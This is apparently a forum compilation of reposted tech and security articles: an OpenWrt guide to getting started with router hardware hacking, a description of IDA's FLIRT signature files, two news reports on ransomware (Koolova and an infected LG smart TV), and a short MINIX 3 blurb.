Hardware Hacking First Steps You bought yourself a new router, and it's nice. You can connect a hard disc to it and then it shares it's content over samba. It even can do torrent. Wow. But then you stumbled over OpenWrt and it's 2000 packages you can install just like that. Never mind all the other FOSS software you could compile for it. And you started crying and decided: you neeeed OpenWrt on your router. And if your router is already supported, dandy, flash it on and have fun. But if your router is not (yet) supported? Well, then do this: Gain Access you could login to some unix shell after booting, over Ethernet with telnet/ssh. Example: hacking.dockstar (dockstar) you could login to bootloader console while booting, over Ethernet or over the Serial Port you could access the hardware without any booting, without any software present, over the JTAG Port with JTAG Software, like HairyDairyMaid Gather Information about Hardware Depending on the bootloader that is being used, you could utilize different commands to gather hardware information. Please see the manual for that particular bootloader to get this done. Once you have the information you could keep it for yourself or post it online. Depending on how fast you are, there probably is going to be information regarding this already available or you are the first one. This simple step is necessary because the manufacturer usually does not document exactly what hardware has been installed. Now with this information you are going to use google or the search engine of your choice, to see what GNU/Linux drivers are available, and if, in which kernel version they have been integrated into. For example: http://en.wikipedia.org/wiki/Comparison_of_open_source_wireless_drivers#Linux you can see, since which or until which Kernel version drivers for wireless radio circuitry, has been integrated. But of course there is much more to a system, in this case in form of a SoC, then the wireless drivers. Anything needs drivers. For example the VLYNQ needs to be supported by the Kernel. etc. And you are done. If you really want to continue, you could find help here: http://www.tldp.org/LDP/tlk/tlk.html The Linux Kernel http://www.tldp.org/LDP/lkmpg/index.html The Linux Kernel Module Programming Guide http://lwn.net/Articles/driver-porting/ you could also check this thread http://linux.junsun.net/porting-howto/porting-howto.html Jun Sun's Linux MIPS Porting Guide http://www.win.tue.nl/~aeb/linux/lk/lk.html an overview over the history and also technical insights Oh, you should also learn a programming language, like C. Gather Information about Software bootloader This is probably going the first piece of software you are going to notice. But the rest of the system could be of interest as well: Most probably it's a kind of outdated GNU/Linux Kernel with FOSS drivers or with binary only drivers or both. Then you are lucky, because the source code of the Linux Kernel is licensed under the GPLv2 and this constrains the seller to make the modified source code, if he actually bothered to modify anything, and he probably did, available to the customers (and not necessarily to the public) free of charge. Now maybe the drivers for the components have already been integrated into mainline kernel, which means that a newer kernel should work on this device out of the box. If not, you could continue to use the one, from the manufacturer. So combine this kernel with other FOSS software, you want to run on it… In case the manufacturer did not use a Linux Kernel but some kind of *BSD, you're fucked, since the license the *BSD sources are under are not GPL. This particularly means, the usurper does not have to make source code available. He could, but he doesn't have to. Oh may you have much "fun" with *BSD. Gather Information about Flash Layout overall Flash Layout The overall Flash Layout looks like the Example. Simply an overview over the different MTD-partition there are. And what their meaning is. An even better example is the flash.layout. Other ones you find here: http://wiki.ip-phone-forum.de/software:ds-mod:development:flash#flash_partitionierung precise Flash Layout This is more tricky, here you want to know exactly what is written on the flash: flash.layout The data could be zipped or g'zipped or even be encrypted. Also, there is going to be some number's between the data blocks, like CRC or whatever. Software Development Now you want to run you own Software on your device. Maybe it's hardware has already support in some projects or in the mainline kernel. If not, then consider adding a new device or a complete new platform to develop software for. Please do not bother developers or potential developers to write code for this. Present the information you gathered, if it interesting enough, somebody is going to do that Now to write code, the developer needs only some bread and water and a simple text editor, but to test this code, he's going to need the hardware itself. You could donate or maybe just lend the hardware. Add Device add.new.device Add Platform add.new.platform Software Development The homepage needs no cookies, no javascript, no nothing enabled. It simply works. It is available under the Creative Commons BY-SA license: http://free-electrons.com/docs/block-drivers/ http://free-electrons.com/docs/buildroot/ http://free-electrons.com/docs/toolchains/ http://free-electrons.com/docs/network-drivers/ Sursa: https://wiki.openwrt.org/doc/devel/hw.hacking.first.steps

Fast Library Identification and Recognition Technology (FLIRT) Signature File Database What is FLIRT? Fast Library Identification and Recognition Technology, also known as FLIRT, is IDA's internal symbols identifier that searches through disassembled binaries in order to locate, rename, and highlight known library subroutines. FLIRT elimates the need to analyze functions that could be understood simply by reading documentation or source code from the library it came from and reduces the amount of work required in order to reverse and understand symbol-stripped binaries by a considerable amount. For more information visit: https://www.hex-rays.com/products/ida/tech/flirt/index.shtml How does FLIRT work? Here's an oversimplified diagram on FLIRT's internal workings: The input to the system is a library file (.lib on Windows) from a library of choice while the output is a signature file (.sig) stored under /sig (and only there or else IDA won't find it). Using one of the tools (plb/pcf/pelf) (provided here for paying customers) you convert all the functions in the library to signatures stored in a PAT file (.pat). The final stage in creating a signature file involves converting the generated PAT file into a .sig file usable by IDA with the use of sigmake. The problem with this is that sometimes collisions will exist for signatures since the method Hex-Rays uses is not fool proof. When an error occurs an EXC (.exc) file is created. In order to ignore collisions, simply edit this file by removing the first few comments (lines that start with ';') and re-run sigmake. For more information look inside the readme inside the FLAIR tools directory. Link: https://github.com/Maktm/FLIRTDB

Koolova Ransomware Decrypts for Free if you Read Two Articles about Ransomware By Lawrence Abrams December 23, 2016 There have been a lot of strange twists and turns when it comes to ransomware this month. First, we had Popcorn Time that gave you the option of screwing over people by infecting them to possibly get a free decryption key. Now, we have a new in-development variant of the Koolova Ransomware that will decrypt your files for free if you educate yourself about ransomware by reading two articles. Discovered by security researcher Michael Gillespie, this in-development ransomware is not ready for prime time. In fact, I had to mess with it a bit and setup a local http server to even get it to display the ransom screen. In its functional state, Koolova will encrypt a victim's files and then display a screen similar to the Jigsaw Ransomware where the text is slowly shown on the screen. This text will tell the victim that they must read two articles before they can get a decryption key, It then tells you that if you are too lazy to read two articles before the countdown gets to zero, like Jigsaw, it will delete the encrypted files. This is not an idle threat as actually does delete the files. Koolova Ransom Screen The articles that Koolova wants you to read are an article from Google Security Blog called Stay safe while browsing and BleepingComputer's very own Jigsaw Ransomware Decrypted: Will delete your files until you pay the Ransom article. Once you read both articles, the Decripta i Miei File, or Decrypt My Files, button becomes available. Once you click on this button, Koolova will connect to the Command & Control server and retrieve the victim's decryption key. It will then display it in a message box labeled "Nice Jigsaw", in reference to the Jigsaw Ransomware, that displays your decryption key. Retrieved Decryption Key A victim will then be able to take that key and enter it into the key field in order to decrypt files. All in all, Koolova is a very strange ransomware and one that I personally find a little creepy as it uses one of the articles I wrote as a method to gain a free decryption. As all of the Koolova ransomware variants I have seen have been in development, there is a good chance that this one will never actually make it to the wild. Then again, I have been wrong before. Sursa: https://www.bleepingcomputer.com/news/security/koolova-ransomware-decrypts-for-free-if-you-read-two-articles-about-ransomware/

What Is MINIX 3? MINIX 3 is a free, open-source, operating system designed to be highly reliable, flexible, and secure. It is based on a tiny microkernel running in kernel mode with the rest of the operating system running as a number of isolated, protected, processes in user mode. It runs on x86 and ARM CPUs, is compatible with NetBSD, and runs thousands of NetBSD packages. Get MINIX 3 now and join our community! Read More Download Link: http://www.minix3.org/

Android Ransomware Infects LG Smart TV By Catalin Cimpanu December 28, 2016 UPDATE [December 29, 2016]: LG has stepped in and helped Cauthon unlock his TV, who also recorded a video of the TV factory reset procedure and uploaded on YouTube. The original article is available below. Security firms have been warning us for more than a year about the possibility of Android malware jumping from phones and tablets to other Android-powered devices, such smart TVs. The latest incident involving ransomware on a smart TV involves software engineer Darren Cauthon, who revealed that the LG smart TV of one of his family members was infected with ransomware right on Christmas day. Based on a screenshot Cauthon posted online, the smart TV appears to be infected with a version of the Cyber.Police ransomware, also known as FLocker, Frantic Locker, or Dogspectus. LG smart TV infected with ransomware [Source: Darren Cauthon] The infected TV is one of the last generations of LG smart TVs that ran Google TV, a smart TV platform developed by Google together with Intel, Sony, and Logitech. Google TV launched in 2010, but Google discontinued the project in June 2014. In the meantime, LG has moved on from Google TV, and the company's TVs now run WebOS, an open-source Linux kernel-based multitask operating system. Ransomware asks for $500 to unlock device, LG asks for $340 to help Cauthon says he tried to reset the TV to factory settings, but the reset procedure available online didn't work. When the software engineer contacted LG, the company told him to visit one of their service centers, where one of its employees could reset his TV. This angered Cauthon because factory reset procedures shouldn't be secret, but also because the service center visit implied a $340 bill. The ransomware asked Cauthon to pay $500 to unlock his TV. As one commenter on Twitter pointed out, it would be cheaper to buy a new TV. "Avoid these 'smart tvs' like the plague," Cauthon added following his discussion with LG. TV infected by installing mysterious app Asked to detail how he got infected with the ransomware, Cauthon said "They [the relatives] said they downloaded an app to watch a movie. Halfway thru movie, tv froze. Now boots to this." It is unclear at this moment if Cauthon's relative downloaded an app from the official Play Store, or from a third-party source. Twitter users didn't wait for this confirmation, and one user was quick to answer Cauthon: "Someone downloaded an app on an ancient tv to watch pirated movies. Suddenly all SmartTVs are bad?" Ransomware on smart TVs is going to be a big problem In November 2015, Symantec researchers conducted a test and installed ransomware on a smart TV. Even if the researcher who conducted the test was an expert on Android malware and was a very skilled professional, he found it very difficult to remove the malware from the infected TV, a task he said would be extremely difficult and nearly impossible for a non-technical user. The same test was repeated three months later by researchers from Trend Micro, who arrived at the same conclusion. Malware targeting smart TVs is not that common, but when it hits it's usually extremely difficult to deal with. For example, in January 2016, a user had a hard time removing a basic browser scareware (tech support scam). The infected TV was also an LG TV. In June 2016, Trend Micro reported that smart TVs were regularly targeted by ransomware, with the most active threat being Cyber.Police (FLocker). In the meantime, Google has started working on Android TV, an Android-based smart TV platform, similar to Google TV, meaning that Android malware remains a valid threat for a large chunk of the smart TV market. CATALIN CIMPANU Catalin covers various topics such as data breaches, software vulnerabilities, exploits, hacking news, the Dark Web, programming topics, social media, web technology, product launches, and a few more. Sursa: https://www.bleepingcomputer.com/news/security/android-ransomware-infects-lg-smart-tv/